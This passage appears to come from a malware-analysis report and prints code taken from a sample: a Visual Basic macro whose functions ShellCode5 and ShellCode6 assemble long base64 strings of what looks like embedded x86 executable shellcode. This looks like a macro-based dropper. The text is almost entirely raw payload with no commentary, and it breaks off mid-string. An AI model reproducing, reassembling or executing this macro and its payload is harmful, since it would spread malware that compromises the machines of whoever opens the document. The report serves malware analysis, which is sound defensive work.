    sShellCode = sShellCode + "LRRBXVolF/Ohiuf//g8//WTvHdRHoe8L//8cACQAAAIvHi9frSv91FI1N/FH/dfhQ/xUssQAQiUX4O8d1"
    sShellCode = sShellCode + "E/8VhLAAEIXAdAlQ6G3C//9Z68+LxsH4BYsEhWD8ABCD5h/B5gaNRDAEgCD9i0X4i1X8X17Jw2oUaHDWA"
    sShellCode = sShellCode + "BDoy8r//4PL/4ld3Ild4ItFCIP4/nUc6BLC//+DIADo98H//8cACQAAAIvDi9PpoQAAAIXAeAg7BUT8AB"
    sShellCode = sShellCode + "ByGujqwf//gyAA6M/B///HAAkAAADoTef//+vRi8jB+QWNPI1g/AAQi/CD5h/B5gaLDw++TDEEg+EBdMZ"
    sShellCode = sShellCode + "Q6N+4//9Zg2X8AIsH9kQwBAF0HP91FP91EP91DP91COjX/v//g8QQiUXciVXg6xnobcH//8cACQAAAOh1"
    sShellCode = sShellCode + "wf//gyAAiV3ciV3gx0X8/v///+gMAAAAi0Xci1Xg6D3K///D/3UI6Bu5//9Zw8zMzMzMzMzMzMzMzMxRj"
    sShellCode = sShellCode + "UwkBCvIG8D30CPIi8QlAPD//zvIcgqLwVmUiwCJBCTDLQAQAACFAOvpzMzMzMyL/1WL7ItNCLhNWgAAZj"
    sShellCode = sShellCode + "kBdAQzwF3Di0E8A8GBOFBFAAB17zPSuQsBAABmOUgYD5TCi8Jdw8zMzMzMzMzMzMzMi/9Vi+yLRQiLSDw"
    sShellCode = sShellCode + "DyA+3QRRTVg+3cQYz0leNRAgYhfZ0G4t9DItIDDv5cgmLWAgD2Tv7cgpCg8AoO9Zy6DPAX15bXcPMzMzM"
    sShellCode = sShellCode + "zMzMzMzMzMyL/1WL7Gr+aJDWABBo8D0AEGShAAAAAFCD7AhTVlehhOIAEDFF+DPFUI1F8GSjAAAAAIll6"
    sShellCode = sShellCode + "MdF/AAAAABoAAAAEOgq////g8QEhcB0VItFCC0AAAAQUGgAAAAQ6FD///+DxAiFwHQ6i0Akwegf99CD4A"
    sShellCode = sShellCode + "HHRfz+////i03wZIkNAAAAAFlfXluL5V3Di0Xsiwgz0oE5BQAAwA+UwovCw4tl6MdF/P7///8zwItN8GS"
    sShellCode = sShellCode + "JDQAAAABZX15bi+Vdw4v/VYvsi00Ihcl0G2rgM9JY9/E7RQxzD+iRv///xwAMAAAAM8Bdww+vTQxWi/GF"
    sShellCode = sShellCode + "9nUBRjPAg/7gdxNWagj/NZj1ABD/FQiwABCFwHUygz0I/AAQAHQcVugwBAAAWYXAddKLRRCFwHQGxwAMA"
    sShellCode = sShellCode + "AAAM8DrDYtNEIXJdAbHAQwAAABeXcOL/1WL7IN9CAB1C/91DOiY7P//WV3DVot1DIX2dQ3/dQjoNc7//1"
    sShellCode = sShellCode + "kzwOtNV+swhfZ1AUZW/3UIagD/NZj1ABD/FTCxABCL+IX/dV45BQj8ABB0QFbosQMAAFmFwHQdg/7gdst"
    sShellCode = sShellCode + "W6KEDAABZ6L2+///HAAwAAAAzwF9eXcPorL7//4vw/xWEsAAQUOhcvv//WYkG6+LolL7//4vw/xWEsAAQ"
    sShellCode = sShellCode + "UOhEvv//WYkGi8fryov/VYvsVot1CFeDz/+F9nUU6Gm+///HABYAAADo5+P//wvH60T2RgyDdDhW6BnR/"
    sShellCode = sShellCode + "/9Wi/jo9Oz//1bo2eP//1DokCIAAIPEEIXAeQWDz//rEotGHIXAdAtQ6FDN//+DZhwAWYNmDACLx19eXc"
    sShellCode = sShellCode + "NqDGiw1gAQ6LzG//+DTeT/M8CLdQiF9g+VwIXAdRXo773//8cAFgAAAOht4///g8j/6w32RgxAdA2DZgw"
    sShellCode = sShellCode + "Ai0Xk6MjG///DVujkqP//WYNl/ABW6Dz///9ZiUXkx0X8/v///+gFAAAA69SLdQhW6DGp//9Zw2oIaNDW"
    sShellCode = sShellCode + "ABDoSMb//+hP7///i0B4hcB0FoNl/AD/0OsHM8BAw4tl6MdF/P7////ohSIAAOhhxv//w2g8dwAQ/xXYs"
    sShellCode = sShellCode + "AAQo5z1ABDDi/9Vi+yLRQijoPUAEKOk9QAQo6j1ABCjrPUAEF3Di/9Vi+yLRQiLDQS6ABBWOVAEdA+L8W"
    sShellCode = sShellCode + "v2DAN1CIPADDvGcuxryQwDTQheO8FzBTlQBHQCM8Bdw/81qPUAEP8VkLAAEMNqIGjw1gAQ6JzF//8z/4l"
    sShellCode = sShellCode + "95Il92ItdCIP7C39LdBWLw2oCWSvBdCIrwXQIK8F0WSvBdUPoA+7//4v4iX3Yhf91FIPI/+lUAQAAvqD1"
    sShellCode = sShellCode + "ABChoPUAEOtV/3dci9PoXf///1mNcAiLButRi8OD6A90MoPoBnQhSHQS6He8///HABYAAADo9eH//+u5v"
    sShellCode = sShellCode + "qj1ABChqPUAEOsWvqT1ABChpPUAEOsKvqz1ABChrPUAEMdF5AEAAABQ/xWQsAAQiUXgM8CDfeABD4TWAA"
    sShellCode = sShellCode + "AAOUXgdQdqA+inzv//OUXkdAdQ6OzR//9ZM8CJRfyD+wh0CoP7C3QFg/sEdRuLT2CJTdSJR2CD+wh1Pot"
    sShellCode = sShellCode + "PZIlN0MdHZIwAAACD+wh1LIsN+LkAEIlN3IsN/LkAEAMN+LkAEDlN3H0Zi03ca8kMi1dciUQRCP9F3Ovd"
    sShellCode = sShellCode + "6MDr//+JBsdF/P7////oFQAAAIP7CHUf/3dkU/9V4FnrGYtdCIt92IN95AB0CGoA6H3Q//9Zw1P/VeBZg"
    sShellCode = sShellCode + "/sIdAqD+wt0BYP7BHURi0XUiUdgg/sIdQaLRdCJR2QzwOhLxP//w4v/VYvsi0UIo7T1ABBdw4v/VYvsi0"
    sShellCode = sShellCode + "UIo7j1ABBdw4v/VYvsi0UIo7z1ABBdw4v/VYvs/zW89QAQ/xWQsAAQhcB0D/91CP/QWYXAdAUzwEBdwzP"
    sShellCode = sShellCode + "AXcOL/1WL7FFTVos1kLAAEFf/NTT8ABD/1v81MPwAEIvYiV38/9aL8DvzD4KBAAAAi/4r+41HBIP4BHJ1"

    ShellCode5 = sShellCode
End Function

Private Function ShellCode6() As String
    Dim sShellCode As String

    sShellCode = ""
    sShellCode = sShellCode + "U+hBHgAAi9iNRwRZO9hzSLgACAAAO9hzAovDA8M7w3IPUP91/Oh3yf//WVmFwHUWjUMQO8NyPlD/dfzoY"
    sShellCode = sShellCode + "cn//1lZhcB0L8H/AlCNNLj/FdiwABCjNPwAEP91CIs92LAAEP/XiQaDxgRW/9ejMPwAEItFCOsCM8BfXl"
    sShellCode = sShellCode + "vJw4v/VmoEaiDozcj//1lZi/BW/xXYsAAQozT8ABCjMPwAEIX2dQVqGFhew4MmADPAXsNqDGgQ1wAQ6L3"
    sShellCode = sShellCode + "C///oSsr//4Nl/AD/dQjo/P7//1mJReTHRfz+////6AkAAACLReTo2cL//8PoKcr//8OL/1WL7P91COi3"
    sShellCode = sShellCode + "////99gbwPfYWUhdw4v/Vlcz//+3UOYAEP8V2LAAEImHUOYAEIPHBIP/KHLmX17Di/9Vi+wzwItNCDsMx"
    sShellCode = sShellCode + "YjCABB0CkCD+BZy7jPAXcOLBMWMwgAQXcOL/1WL7IHs/AEAAKGE4gAQM8WJRfxTVot1CFdW6Ln///+L+D"
    sShellCode = sShellCode + "PbWYm9BP7//zv7D4RsAQAAagPoviEAAFmD+AEPhAcBAABqA+itIQAAWYXAdQ2DPbjvABABD4TuAAAAgf7"
    sShellCode = sShellCode + "8AAAAD4Q2AQAAaMTDABBoFAMAAL/A9QAQV+gXIQAAg8QMhcAPhbgAAABoBAEAAL7y9QAQVlNmo/r3ABD/"
    sShellCode = sShellCode + "FUywABC7+wIAAIXAdR9olMMAEFNW6N8gAACDxAyFwHQMM8BQUFBQUOjk3f//VuirIAAAQFmD+Dx2Klbon"
    sShellCode = sShellCode + "iAAAI0ERXz1ABCLyCvOagPR+WiMwwAQK9lTUOi0HwAAg8QUhcB1vWiEwwAQvhQDAABWV+gnHwAAg8QMhc"
    sShellCode = sShellCode + "B1pf+1BP7//1ZX6BMfAACDxAyFwHWRaBAgAQBoOMMAEFfokB0AAIPEDOteU1NTU1Ppef///2r0/xUcsAA"
    sShellCode = sShellCode + "Qi/A783RGg/7/dEEzwIoMR4iMBQj+//9mORxHdAhAPfQBAABy6FONhQT+//9QjYUI/v//UIhd++gNwP//"
    sShellCode = sShellCode + "WVCNhQj+//9QVv8VrLAAEItN/F9eM81b6Oad///Jw2oD6EMgAABZg/gBdBVqA+g2IAAAWYXAdR+DPbjvA"
    sShellCode = sShellCode + "BABdRZo/AAAAOgl/v//aP8AAADoG/7//1lZw2oQaDDXABDoOcD//4tdCIP7/nUT6Ha3///HAAkAAACDyP"
    sShellCode = sShellCode + "/poQAAAIXbeAg7HUT8ABByEuhXt///xwAJAAAA6NXc///r2ovDwfgFjTyFYPwAEIvzg+YfweYGiwcPvkQ"
    sShellCode = sShellCode + "GBIPgAXTOU+hnrv//WYNl/ACLB/ZEBgQBdDFT6Oqt//9ZUP8VSLAAEIXAdQv/FYSwABCJReTrBINl5ACD"
    sShellCode = sShellCode + "feQAdBno/bb//4tN5IkI6OC2///HAAkAAACDTeT/x0X8/v///+gMAAAAi0Xk6L2////Di10IU+iarv//W"
    sShellCode = sShellCode + "cMtpAMAAHQig+gEdBeD6A10DEh0AzPAw7gEBAAAw7gSBAAAw7gECAAAw7gRBAAAw4v/VleL8GgBAQAAM/"
    sShellCode = sShellCode + "+NRhxXUOj2CwAAM8APt8iLwYl+BIl+CIl+DMHhEAvBjX4Qq6uruXjmABCDxAyNRhwrzr8BAQAAihQBiBB"
    sShellCode = sShellCode + "AT3X3jYYdAQAAvgABAACKFAiIEEBOdfdfXsOL/1WL7IHsHAUAAKGE4gAQM8WJRfxTV42F6Pr//1D/dgT/"
    sShellCode = sShellCode + "FUSwABC/AAEAAIXAD4T8AAAAM8CIhAX8/v//QDvHcvSKhe76///Ghfz+//8ghMB0MI2d7/r//w+2yA+2A"
    sShellCode = sShellCode + "zvIdxYrwUBQjZQN/P7//2ogUugzCwAAg8QMikMBg8MChMB11moA/3YMjYX8+v///3YEUFeNhfz+//9Qag"
    sShellCode = sShellCode + "FqAOhVIQAAM9tT/3YEjYX8/f//V1BXjYX8/v//UFf/dgxT6AggAACDxERT/3YEjYX8/P//V1BXjYX8/v/"
    sShellCode = sShellCode + "/UGgAAgAA/3YMU+jjHwAAg8QkM8APt4xF/Pr///bBAXQOgEwGHRCKjAX8/f//6xH2wQJ0FYBMBh0giowF"
    sShellCode = sShellCode + "/Pz//4iMBh0BAADrB4icBh0BAABAO8dyv+tSjYYdAQAAx4Xk+v//n////zPJKYXk+v//i5Xk+v//jYQOH"
    sShellCode = sShellCode + "QEAAAPQjVogg/sZdwqATA4dEI1RIOsNg/oZdwyATA4dII1R4IgQ6wPGAABBO89yxotN/F8zzVvosZr//8"
    sShellCode = sShellCode + "nDagxoUNcAEOg9vf//6ETm//+L+KGY6wAQhUdwdB2Df2wAdBeLd2iF9nUIaiDoD8f//1mLxuhVvf//w2o"
    sShellCode = sShellCode + "N6CrK//9Zg2X8AIt3aIl15Ds1oOoAEHQ2hfZ0Glb/FQCxABCFwHUPgf545gAQdAdW6FHD//9ZoaDqABCJ"
    sShellCode = sShellCode + "R2iLNaDqABCJdeRW/xX4sAAQx0X8/v///+gFAAAA646LdeRqDejwyP//WcOL/1WL7IPsEFMz21ONTfDot"
    sShellCode = sShellCode + "sr//4kd6PsAEIP+/nUexwXo+wAQAQAAAP8VPLAAEDhd/HRFi034g2Fw/es8g/79dRLHBej7ABABAAAA/x"
    sShellCode = sShellCode + "VAsAAQ69uD/vx1EotF8ItABMcF6PsAEAEAAADrxDhd/HQHi0X4g2Bw/YvGW8nDi/9Vi+yD7CChhOIAEDP"
    sShellCode = sShellCode + "FiUX8U4tdDFaLdQhX6GT///+L+DP2iX0IO/51DovD6Lr8//8zwOmhAQAAiXXkM8A5uKjqABAPhJEAAAD/"
    sShellCode = sShellCode + "ReSDwDA98AAAAHLngf/o/QAAD4R0AQAAgf/p/QAAD4RoAQAAD7fHUP8VOLAAEIXAD4RWAQAAjUXoUFf/F"
    sShellCode = sShellCode + "USwABCFwA+ENwEAAGgBAQAAjUMcVlDoVggAADPSQoPEDIl7BIlzDDlV6A+G/AAAAIB97gAPhNMAAACNde"
    sShellCode = sShellCode + "+KDoTJD4TGAAAAD7ZG/w+2yempAAAAaAEBAACNQxxWUOgPCAAAi03kg8QMa8kwiXXgjbG46gAQiXXk6yu"
    sShellCode = sShellCode + "KRgGEwHQpD7Y+D7bA6xKLReCKgKTqABAIRDsdD7ZGAUc7+Hbqi30Ig8YCgD4AddCLdeT/ReCDxgiDfeAE"
    sShellCode = sShellCode + "iXXkcumLx4l7BMdDCAEAAADoafv//2oGiUMMjUMQjYms6gAQWmaLMWaJMIPBAoPAAkp18Yvz6Nf7///pt"
    sShellCode = sShellCode + "P7//4BMAx0EQDvBdvaDxgKAfv8AD4Uw////jUMeuf4AAACACAhASXX5i0ME6BH7//+JQwyJUwjrA4lzCD"
    sShellCode = sShellCode + "PAD7fIi8HB4RALwY17EKurq+unOTXo+wAQD4VU/v//g8j/i038X14zzVvoqJf//8nDahRocNcAEOg0uv/"
    sShellCode = sShellCode + "/g03g/+g34///i/iJfdzo2Pz//4tfaIt1COhx/f//iUUIO0MED4RXAQAAaCACAADomr///1mL2IXbD4RG"
    sShellCode = sShellCode + "AQAAuYgAAACLd2iL+/OlgyMAU/91COi0/f//WVmJReCFwA+F/AAAAIt13P92aP8VALEAEIXAdRGLRmg9e"
    sShellCode = sShellCode + "OYAEHQHUOgpwP//WYleaFOLPfiwABD/1/ZGcAIPheoAAAD2BZjrABABD4XdAAAAag3op8b//1mDZfwAi0"
    sShellCode = sShellCode + "MEo/j7ABCLQwij/PsAEItDDKMA/AAQM8CJReSD+AV9EGaLTEMQZokMRez7ABBA6+gzwIlF5D0BAQAAfQ2"
    sShellCode = sShellCode + "KTBgciIiY6AAQQOvpM8CJReQ9AAEAAH0QiowYHQEAAIiIoOkAEEDr5v81oOoAEP8VALEAEIXAdROhoOoA"
    sShellCode = sShellCode + "ED145gAQdAdQ6HC///9ZiR2g6gAQU//Xx0X8/v///+gCAAAA6zBqDeghxf//WcPrJYP4/3Uggft45gAQd"
    sShellCode = sShellCode + "AdT6Dq///9Z6AWw///HABYAAADrBINl4ACLReDo7Lj//8ODPTj8ABAAdRJq/ehW/v//WccFOPwAEAEAAA"
    sShellCode = sShellCode + "AzwMOL/1WL7FNWizX4sAAQV4t9CFf/1ouHsAAAAIXAdANQ/9aLh7gAAACFwHQDUP/Wi4e0AAAAhcB0A1D"
    sShellCode = sShellCode + "/1ouHwAAAAIXAdANQ/9aNX1DHRQgGAAAAgXv4nOsAEHQJiwOFwHQDUP/Wg3v8AHQKi0MEhcB0A1D/1oPD"
    sShellCode = sShellCode + "EP9NCHXWi4fUAAAABbQAAABQ/9ZfXltdw4v/VYvsV4t9CIX/D4SDAAAAU1aLNQCxABBX/9aLh7AAAACFw"
    sShellCode = sShellCode + "HQDUP/Wi4e4AAAAhcB0A1D/1ouHtAAAAIXAdANQ/9aLh8AAAACFwHQDUP/WjV9Qx0UIBgAAAIF7+JzrAB"
    sShellCode = sShellCode + "B0CYsDhcB0A1D/1oN7/AB0Co
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.